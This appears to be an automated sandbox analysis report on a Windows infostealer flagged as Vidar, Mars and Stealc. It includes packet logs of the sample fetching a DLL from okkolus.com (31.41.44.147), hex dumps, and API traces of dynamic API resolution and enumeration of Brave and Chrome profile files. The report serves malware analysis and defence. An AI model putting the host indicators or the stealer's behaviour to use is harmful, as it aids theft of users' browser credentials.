May 6, 2024 02:53:35.235613108 CEST	1289	IN	Data Raw: cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 8c 01 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 02 5d c3 a1 0c 9a 03 10 eb d1 cc cc cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 90 01 Data Ascii: Ut]h6h{t]Ut]h6h{t]Ut]h6h{t]Ut]h6h{t
May 6, 2024 02:53:35.320290089 CEST	1289	IN	Data Raw: 10 85 c0 74 0f 8b 88 38 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 02 5d c3 a1 0c 9a 03 10 eb d1 cc cc cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 40 02 00 00 ff 15 00 a0 03 10 5d Data Ascii: t8]h6h{t]Ut@]h6h{t]Ut\]h6h{t1]Ut`]h6h{t]
May 6, 2024 02:53:35.320384026 CEST	1289	IN	Data Raw: 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 00 03 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 Data Ascii: ]h6h{t]Ut]h6h{t]Ut]h6h{t]Ut]h6h{t]U
May 6, 2024 02:53:35.320429087 CEST	1289	IN	Data Raw: ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 48 03 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 Data Ascii: h6h{t]UtH]h6h{t]UtL]h6h{t1]UtP]h6h{t]Ut
May 6, 2024 02:53:35.320442915 CEST	1289	IN	Data Raw: c7 44 24 0c 0a 00 00 00 ff 15 ec 7b 03 10 83 c4 10 89 c6 8b 4d f0 31 e9 e8 c1 9e 02 00 89 f0 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 24 01 00 00 8b 75 18 8b 5d 14 8b 7d 10 8b 55 0c a1 14 90 03 10 31 e8 89 45 f0 85 db Data Ascii: D${M1^_[]USWV$u]}U1Et'u#3hbhij P\|UPVSWRuhehQ\|$M1*$^_[]USWV$u]}U1Et
May 6, 2024 02:53:35.358618021 CEST	1289	IN	Data Raw: 24 85 c9 74 26 85 db 75 22 8d 85 90 fe ff ff ff 31 68 59 62 03 10 68 1d 69 03 10 6a 20 50 89 cf ff 15 1c 7c 03 10 83 c4 14 eb 09 c6 85 90 fe ff ff 00 89 cf 8d 8d 90 fe ff ff 8d 95 b0 fe ff ff 8d 85 f0 fe ff ff 51 53 57 56 ff 75 1c ff 75 18 ff 75 Data Ascii: $t&u"1hYbhij P\|QSWVuuuuRuhdhP\|4M1]d^_[]USWV}M1Et1Qhbj@P\|jhfj@P\|] t*u&7hYbhi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49721	31.41.44.147	80	6784	C:\Users\user\Desktop\FFAk2gixx5.exe

Timestamp	Bytes transferred	Direction	Data
May 6, 2024 02:53:36.601737022 CEST	95	OUT	GET /dfaf16606234b71d/vcruntime140.dll HTTP/1.1 Host: okkolus.com Cache-Control: no-cache
May 6, 2024 02:53:36.947618961 CEST	1289	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 00:53:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:49:08 GMT ETag: "13bf0-5e7ef2e90e100" Accept-Ranges: bytes Content-Length: 80880 Connection: close Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B [TRUNCATED]
May 6, 2024 02:53:36.947752953 CEST	1289	IN	Data Raw: 00 00 00 00 00 30 27 00 00 02 e0 27 00 00 02 60 2d 00 00 02 e0 32 00 00 02 40 34 00 00 02 70 35 00 00 02 b0 36 00 00 02 28 39 00 00 01 f8 39 00 00 01 04 3b 00 00 01 30 3b 00 00 00 c0 3b 00 00 00 08 3c 00 00 00 60 3d 00 00 02 a0 3d 00 00 02 20 3e Data Ascii: 0''`-2@4p56(99;0;;<`== >0>Q>>p???@pADEJ@ZZ [0[`[[\\ \0\@\peeefPj`jpjjjj
May 6, 2024 02:53:36.955101013 CEST	1289	IN	Data Raw: 1c 17 00 10 20 17 00 10 24 17 00 10 28 17 00 10 2c 17 00 10 30 17 00 10 34 17 00 10 38 17 00 10 3c 17 00 10 40 17 00 10 44 17 00 10 48 17 00 10 4c 17 00 10 50 17 00 10 54 17 00 10 60 17 00 10 6c 17 00 10 74 17 00 10 80 17 00 10 98 17 00 10 a4 17 Data Ascii: $(,048<@DHLPT`lt8X\| 04<Lpx Ht0L\p__b
May 6, 2024 02:53:36.955115080 CEST	1289	IN	Data Raw: 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 65 68 20 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 60 65 68 20 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 Data Ascii: uctor iterator'`eh vector copy constructor iterator'`eh vector vbase copy constructor iterator'`dynamic initializer for '`dynamic atexit destructor for '`vector copy constructor iterator'`vector vbase copy constructor iterator'
May 6, 2024 02:53:36.955235958 CEST	1289	IN	Data Raw: 74 00 5f 5f 77 36 34 20 00 00 55 4e 4b 4e 4f 57 4e 00 73 69 67 6e 65 64 20 00 63 6f 6e 73 74 00 00 00 20 76 6f 6c 61 74 69 6c 65 00 00 00 60 75 6e 6b 6e 6f 77 6e 20 65 63 73 75 27 00 00 75 6e 69 6f 6e 20 00 00 73 74 72 75 63 74 20 00 63 6c 61 73 Data Ascii: t__w64 UNKNOWNsigned const volatile`unknown ecsu'union struct class coclass cointerface enum volatile const & && cli::array<cli::pin_ptr<)[{flat}{for s #0T# 0@#@
May 6, 2024 02:53:36.955347061 CEST	1289	IN	Data Raw: 10 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 00 24 00 10 00 00 00 00 00 00 00 00 00 00 00 00 5c f1 00 10 4c 24 00 10 00 00 00 00 00 00 00 00 02 00 00 00 5c 24 00 10 68 24 00 10 ec 22 00 10 00 00 00 00 5c f1 00 10 01 00 00 00 00 Data Ascii: @$\L$\$h$"\@L$t$$$t@$;Q>cRSDSLHL:>phd:\agent\_work
May 6, 2024 02:53:36.955872059 CEST	1289	IN	Data Raw: 6e 30 8d 76 30 83 f9 30 66 0f 6f d3 66 0f 3a 0f d9 08 66 0f 7f 1f 66 0f 6f e0 66 0f 3a 0f c2 08 66 0f 7f 47 10 66 0f 6f cd 66 0f 3a 0f ec 08 66 0f 7f 6f 20 8d 7f 30 73 b7 8d 76 08 eb 56 66 0f 6f 4e fc 8d 76 fc 8b ff 66 0f 6f 5e 10 83 e9 30 66 0f Data Ascii: n0v00fof:ffof:fGfof:fo 0svVfoNvfo^0foF fon0v00fof:ffof:fGfof:fo 0svrovfsvs~vfD*tI
May 6, 2024 02:53:36.955902100 CEST	1289	IN	Data Raw: 00 66 0f 6f 4e f4 8d 76 f4 8b ff 66 0f 6f 5e 10 83 e9 30 66 0f 6f 46 20 66 0f 6f 6e 30 8d 76 30 83 f9 30 66 0f 6f d3 66 0f 3a 0f d9 0c 66 0f 7f 1f 66 0f 6f e0 66 0f 3a 0f c2 0c 66 0f 7f 47 10 66 0f 6f cd 66 0f 3a 0f ec 0c 66 0f 7f 6f 20 8d 7f 30 Data Ascii: foNvfo^0foF fon0v00fof:ffof:fGfof:fo 0svfoNvIfo^0foF fon0v00fof:ffof:fGfof:fo 0svVfoNvfo^0foF fon0v00fof:ffof:fG
May 6, 2024 02:53:37.033910990 CEST	1289	IN	Data Raw: c0 00 03 cf 0f 11 07 83 c7 10 83 e7 f0 2b cf 81 f9 80 00 00 00 76 4c 8d a4 24 00 00 00 00 8d a4 24 00 00 00 00 90 66 0f 7f 07 66 0f 7f 47 10 66 0f 7f 47 20 66 0f 7f 47 30 66 0f 7f 47 40 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d bf 80 00 00 Data Ascii: +vL$$ffGfG fG0fG@fGPfG`fGpu%s>fnfp rG stb\|GD$tGutt $G
May 6, 2024 02:53:37.033925056 CEST	1289	IN	Data Raw: bb ff 0f 00 00 23 de 81 fb f0 0f 00 00 77 29 bb ff 0f 00 00 23 da 81 fb f0 0f 00 00 77 1a f3 0f 6f 0a 83 c6 10 83 c2 10 66 0f 3a 63 4e f0 0c 71 92 79 cd e9 4c ff ff ff 0f b6 1a 85 db 0f 84 41 ff ff ff 3a 1e 0f 85 78 ff ff ff 83 c6 01 83 c2 01 eb Data Ascii: #w)#wof:cNqyLA:xtoqtUL$:tt:tu^[_3:u~at(:uAtf:t3^[_G^[_^[_VC10XC00USVWUu
May 6, 2024 02:53:37.206809998 CEST	1289	IN	Data Raw: 14 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 54 24 04 89 2a 89 5a 04 89 7a 08 89 72 0c 89 62 10 8b 04 24 89 42 14 64 a1 00 00 00 00 89 42 18 83 f8 ff 75 09 c7 42 1c ff ff ff ff eb 06 8b 40 0c 89 42 1c 2b c0 c3 cc cc cc cc cc cc Data Ascii: ]T$Zzrb$BdBuB@B+T$Zzrb$BB 02CVB$dBuB;L$tD$B$Iu@B!D$BItVWt$z(v_^+USVWUjjhI>

Target ID:	0
Start time:	02:51:48
Start date:	06/05/2024
Path:	C:\Users\user\Desktop\FFAk2gixx5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FFAk2gixx5.exe"
Imagebase:	0x400000
File size:	296'960 bytes
MD5 hash:	14CD6D9CBAD80B0E4076212BF7AD937F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.3315854062.0000000002FC0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.3315854062.0000000002FC0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.3315657325.0000000002C37000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.3315706201.0000000002C4C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.3315854062.0000000002FC0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000003.2531825122.0000000002FF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000003.2531825122.0000000002FF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	29.5%
Signature Coverage:	5%
Total number of Nodes:	2000
Total number of Limit Nodes:	102

Executed Functions

Function 00416230 Relevance: 196.7, APIs: 110, Strings: 2, Instructions: 674
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,02C503D0), ref: 0041624D
GetProcAddress.KERNEL32(76210000,02C50410), ref: 00416265
GetProcAddress.KERNEL32(76210000,02C52708), ref: 0041627E
GetProcAddress.KERNEL32(76210000,02C52750), ref: 00416296
GetProcAddress.KERNEL32(76210000,02C52768), ref: 004162AE
GetProcAddress.KERNEL32(76210000,02C52780), ref: 004162C7
GetProcAddress.KERNEL32(76210000,02C4E848), ref: 004162DF
GetProcAddress.KERNEL32(76210000,02C52A38), ref: 004162F7
GetProcAddress.KERNEL32(76210000,02C52978), ref: 00416310
GetProcAddress.KERNEL32(76210000,02C52990), ref: 00416328
GetProcAddress.KERNEL32(76210000,02C529A8), ref: 00416340
GetProcAddress.KERNEL32(76210000,02C50290), ref: 00416359
GetProcAddress.KERNEL32(76210000,02C50590), ref: 00416371
GetProcAddress.KERNEL32(76210000,02C502F0), ref: 00416389
GetProcAddress.KERNEL32(76210000,02C504D0), ref: 004163A2
GetProcAddress.KERNEL32(76210000,02C529C0), ref: 004163BA
GetProcAddress.KERNEL32(76210000,02C52A20), ref: 004163D2
GetProcAddress.KERNEL32(76210000,02C4EB68), ref: 004163EB
GetProcAddress.KERNEL32(76210000,02C50430), ref: 00416403
GetProcAddress.KERNEL32(76210000,02C529D8), ref: 0041641B
GetProcAddress.KERNEL32(76210000,02C529F0), ref: 00416434
GetProcAddress.KERNEL32(76210000,02C52A08), ref: 0041644C
GetProcAddress.KERNEL32(76210000,02C56400), ref: 00416464
GetProcAddress.KERNEL32(76210000,02C504F0), ref: 0041647D
GetProcAddress.KERNEL32(76210000,02C566A0), ref: 00416495
GetProcAddress.KERNEL32(76210000,02C56580), ref: 004164AD
GetProcAddress.KERNEL32(76210000,02C56550), ref: 004164C6
GetProcAddress.KERNEL32(76210000,02C56670), ref: 004164DE
GetProcAddress.KERNEL32(76210000,02C56568), ref: 004164F6
GetProcAddress.KERNEL32(76210000,02C564F0), ref: 0041650F
GetProcAddress.KERNEL32(76210000,02C56628), ref: 00416527
GetProcAddress.KERNEL32(76210000,02C56688), ref: 0041653F
GetProcAddress.KERNEL32(76210000,02C563E8), ref: 00416558
GetProcAddress.KERNEL32(76210000,02C31708), ref: 00416570
GetProcAddress.KERNEL32(76210000,02C56598), ref: 00416588
GetProcAddress.KERNEL32(76210000,02C56520), ref: 004165A1
GetProcAddress.KERNEL32(76210000,02C50310), ref: 004165B9
GetProcAddress.KERNEL32(76210000,02C56658), ref: 004165D1
GetProcAddress.KERNEL32(76210000,02C50510), ref: 004165EA
GetProcAddress.KERNEL32(76210000,02C56430), ref: 00416602
GetProcAddress.KERNEL32(76210000,02C56538), ref: 0041661A
GetProcAddress.KERNEL32(76210000,02C501F0), ref: 00416633
GetProcAddress.KERNEL32(76210000,02C502B0), ref: 0041664B
LoadLibraryA.KERNEL32(02C563B8,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041665D
LoadLibraryA.KERNEL32(02C563D0,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041666E
LoadLibraryA.KERNEL32(02C56640,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 00416680
LoadLibraryA.KERNEL32(02C56418,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 00416692
LoadLibraryA.KERNEL32(02C56460,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166A3
LoadLibraryA.KERNEL32(02C564C0,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166B5
LoadLibraryA.KERNEL32(02C56448,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166C7
LoadLibraryA.KERNEL32(02C56478,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166D8
GetProcAddress.KERNEL32(751E0000,02C4FF90), ref: 004166FA
GetProcAddress.KERNEL32(751E0000,02C565F8), ref: 00416712
GetProcAddress.KERNEL32(751E0000,02C52290), ref: 0041672A
GetProcAddress.KERNEL32(751E0000,02C56490), ref: 00416743
GetProcAddress.KERNEL32(751E0000,02C50030), ref: 0041675B
GetProcAddress.KERNEL32(701A0000,02C4EB90), ref: 00416780
GetProcAddress.KERNEL32(701A0000,02C4FE70), ref: 00416799
GetProcAddress.KERNEL32(701A0000,02C4EC58), ref: 004167B1
GetProcAddress.KERNEL32(701A0000,02C564A8), ref: 004167C9
GetProcAddress.KERNEL32(701A0000,02C565B0), ref: 004167E2
GetProcAddress.KERNEL32(701A0000,02C501B0), ref: 004167FA
GetProcAddress.KERNEL32(701A0000,02C4FF30), ref: 00416812
GetProcAddress.KERNEL32(701A0000,02C564D8), ref: 0041682B
GetProcAddress.KERNEL32(753A0000,02C50050), ref: 0041684C
GetProcAddress.KERNEL32(753A0000,02C4FF50), ref: 00416864
GetProcAddress.KERNEL32(753A0000,02C56508), ref: 0041687D
GetProcAddress.KERNEL32(753A0000,02C565C8), ref: 00416895
GetProcAddress.KERNEL32(753A0000,02C501D0), ref: 004168AD
GetProcAddress.KERNEL32(76310000,02C4EA78), ref: 004168D3
GetProcAddress.KERNEL32(76310000,02C4EB18), ref: 004168EB
GetProcAddress.KERNEL32(76310000,02C565E0), ref: 00416903
GetProcAddress.KERNEL32(76310000,02C500F0), ref: 0041691C
GetProcAddress.KERNEL32(76310000,02C50070), ref: 00416934
GetProcAddress.KERNEL32(76310000,02C4E8C0), ref: 0041694C
GetProcAddress.KERNEL32(76910000,02C56610), ref: 00416972
GetProcAddress.KERNEL32(76910000,02C50090), ref: 0041698A
GetProcAddress.KERNEL32(76910000,02C523F0), ref: 004169A2
GetProcAddress.KERNEL32(76910000,02C566E8), ref: 004169BB
GetProcAddress.KERNEL32(76910000,02C56748), ref: 004169D3
GetProcAddress.KERNEL32(76910000,02C4FF70), ref: 004169EB
GetProcAddress.KERNEL32(76910000,02C50150), ref: 00416A04
GetProcAddress.KERNEL32(76910000,02C56778), ref: 00416A1C
GetProcAddress.KERNEL32(76910000,02C566B8), ref: 00416A34
GetProcAddress.KERNEL32(75B30000,02C50170), ref: 00416A56
GetProcAddress.KERNEL32(75B30000,02C56718), ref: 00416A6E
GetProcAddress.KERNEL32(75B30000,02C566D0), ref: 00416A86
GetProcAddress.KERNEL32(75B30000,02C56700), ref: 00416A9F
GetProcAddress.KERNEL32(75B30000,02C56730), ref: 00416AB7
GetProcAddress.KERNEL32(75670000,02C50110), ref: 00416AD8
GetProcAddress.KERNEL32(75670000,02C4FE90), ref: 00416AF1
GetProcAddress.KERNEL32(76AC0000,02C4FEF0), ref: 00416B12
GetProcAddress.KERNEL32(76AC0000,02C56760), ref: 00416B2A
GetProcAddress.KERNEL32(6F500000,02C50190), ref: 00416B50
GetProcAddress.KERNEL32(6F500000,02C4FEB0), ref: 00416B68
GetProcAddress.KERNEL32(6F500000,02C50130), ref: 00416B80
GetProcAddress.KERNEL32(6F500000,02C567F0), ref: 00416B99
GetProcAddress.KERNEL32(6F500000,02C4FED0), ref: 00416BB1
GetProcAddress.KERNEL32(6F500000,02C4FFB0), ref: 00416BC9
GetProcAddress.KERNEL32(6F500000,02C500B0), ref: 00416BE2
GetProcAddress.KERNEL32(6F500000,02C500D0), ref: 00416BFA
GetProcAddress.KERNEL32(75AE0000,02C56AA8), ref: 00416C1B
GetProcAddress.KERNEL32(75AE0000,02C52300), ref: 00416C34
GetProcAddress.KERNEL32(75AE0000,02C56898), ref: 00416C4C
GetProcAddress.KERNEL32(75AE0000,02C569A0), ref: 00416C64
GetProcAddress.KERNEL32(76300000,02C4FFD0), ref: 00416C86
GetProcAddress.KERNEL32(6E800000,02C56868), ref: 00416CA7
GetProcAddress.KERNEL32(6E800000,02C4FDF0), ref: 00416CBF
GetProcAddress.KERNEL32(6E800000,02C568B0), ref: 00416CD8
GetProcAddress.KERNEL32(6E800000,02C56A78), ref: 00416CF0

Strings

1#v, xrefs: 0041652D
P2#v, xrefs: 0041643A

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: P2#v$1#v
API String ID: 2238633743-762677545
Opcode ID: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction ID: 947c387a777e547b3b80cfca9d9ac6e1d0b6ff9d243eb6caca7e8c3fc68be968
Opcode Fuzzy Hash: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction Fuzzy Hash: 2A623FB5510E10AFC374DFA8FE88A1637ABBBCC311311A519A60AC72A4DF759483CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040B610 Relevance: 40.9, APIs: 17, Strings: 6, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

FindFirstFileA.KERNEL32(00000000,?,0041D71A,0041D717,00000000,?,?,?,0041DB54,0041D716), ref: 0040B695
StrCmpCA.SHLWAPI(?,0041DB58), ref: 0040B6ED
StrCmpCA.SHLWAPI(?,0041DB5C), ref: 0040B703
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040BF3B
FindClose.KERNEL32(000000FF), ref: 0040BF4D

Strings

Brave, xrefs: 0040B8A2
Preferences, xrefs: 0040B8BE
1#v, xrefs: 0040B695
Google Chrome, xrefs: 0040BDB9
P2#v, xrefs: 0040BF3B
\Brave\Preferences, xrefs: 0040B97B

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$P2#v$Preferences$\Brave\Preferences$1#v
API String ID: 3334442632-1392536997
Opcode ID: 5bc2d8b93ff5c07d356423da0bf5c9941895f259916fc7a5be7966ed11bb6d4a
Instruction ID: ef3f3c9526c1d4681bf54c3e41ff6a9d3de75b752b7b19cdbeb0ec8924e8d3e7
Opcode Fuzzy Hash: 5bc2d8b93ff5c07d356423da0bf5c9941895f259916fc7a5be7966ed11bb6d4a
Instruction Fuzzy Hash: 65424472A101045BCB14FF61ED56EEE7339AF84304F4145AEF50A67181EE38AB89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00404C70 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81
networkmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404C8A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C91
InternetOpenA.WININET(0041D79B,00000000,00000000,00000000,00000000), ref: 00404CAA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00404CD1
InternetReadFile.WININET(c.A,?,00000400,00000000), ref: 00404D01
InternetCloseHandle.WININET(c.A), ref: 00404D75
InternetCloseHandle.WININET(?), ref: 00404D82

Strings

c.A, xrefs: 00404CC1, 00404DA0
c.A, xrefs: 00404D71, 00404CFD, 00404D00, 00404D74

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID: c.A$c.A
API String ID: 3066467675-270182787
Opcode ID: 558f16d35dbc70d8bfe9288a7fd7bed11baf819c59e2012b8aba05dafee0b3b8
Instruction ID: 5cc9c68f5f0c855eb5c76b322cf1169aada13ce2591ea04d1cda96019f80923d
Opcode Fuzzy Hash: 558f16d35dbc70d8bfe9288a7fd7bed11baf819c59e2012b8aba05dafee0b3b8
Instruction Fuzzy Hash: 0731F8F4A00218ABDB20DF54DD85BDDB7B5BB88304F5081E9B709A7281DB746AC58F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB60 Relevance: 12.8, APIs: 4, Strings: 3, Instructions: 514
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,0041D74E), ref: 0040DBD2
StrCmpCA.SHLWAPI(?,0041DC58), ref: 0040DC22
StrCmpCA.SHLWAPI(?,0041DC5C), ref: 0040DC38
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E306

Strings

1#v, xrefs: 0040DBD2
\*.*, xrefs: 0040DB7D
P2#v, xrefs: 0040E306

Memory Dump Source

